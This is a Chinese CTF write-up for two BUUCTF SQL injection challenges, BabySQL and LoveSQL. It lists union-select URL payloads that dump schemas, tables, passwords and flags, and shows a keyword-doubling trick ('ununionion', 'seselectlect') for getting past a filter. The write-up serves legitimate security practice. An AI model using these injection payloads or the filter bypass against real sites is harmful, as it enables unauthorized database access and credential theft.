BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

2023-03-12,,

BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)

记一道联合注入的题,这道题存在过滤。

经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面跟的注符会将密码注释掉,检测不到密码会报错Input your username and password。所以这道题我们在密码处插入注入语句。

在我们试图查看存在几个字段的时候,发现order变成了der,那么应该是过滤了or,双写or可以绕过。

在进行联合注入的时候报错,报错的内容里面union select不见了,也被过滤了,双写可以绕过

其他的常规联合注入

?username=123&password=1' uunionnion seselectlect 1,2,3--+
?username=admin&password=1' ununionion seselectlect 1,2,database()--+
//这里的flag并没有放在geek库里面,而是放在ctf库里面,所以我们先查看有哪些库,这里走了弯路。
?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(schema_name)frfromom(infoorrmation_schema.schemata))--+
//另外在暴数据的时候发现where关键字也被过滤了,同样双写可以绕过
?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='ctf')--+
?username=admin&password=1' ununionion seselectlect 1,2,(seselectlect group_concat(flag)frfromom ctf.Flag)--+

BUUCTF-[极客大挑战 2019]LoveSQL(联合注入)

万能密码登录然后联合注入

?username=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&password=1
?username=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")%23&password=1
?username=1' union select 1,2,(select group_concat(password) from geek.l0ve1ysq1)%23&password=1

BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)的相关教程结束。

《BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入).doc》

下载本文的Word格式文档,以方便收藏与打印。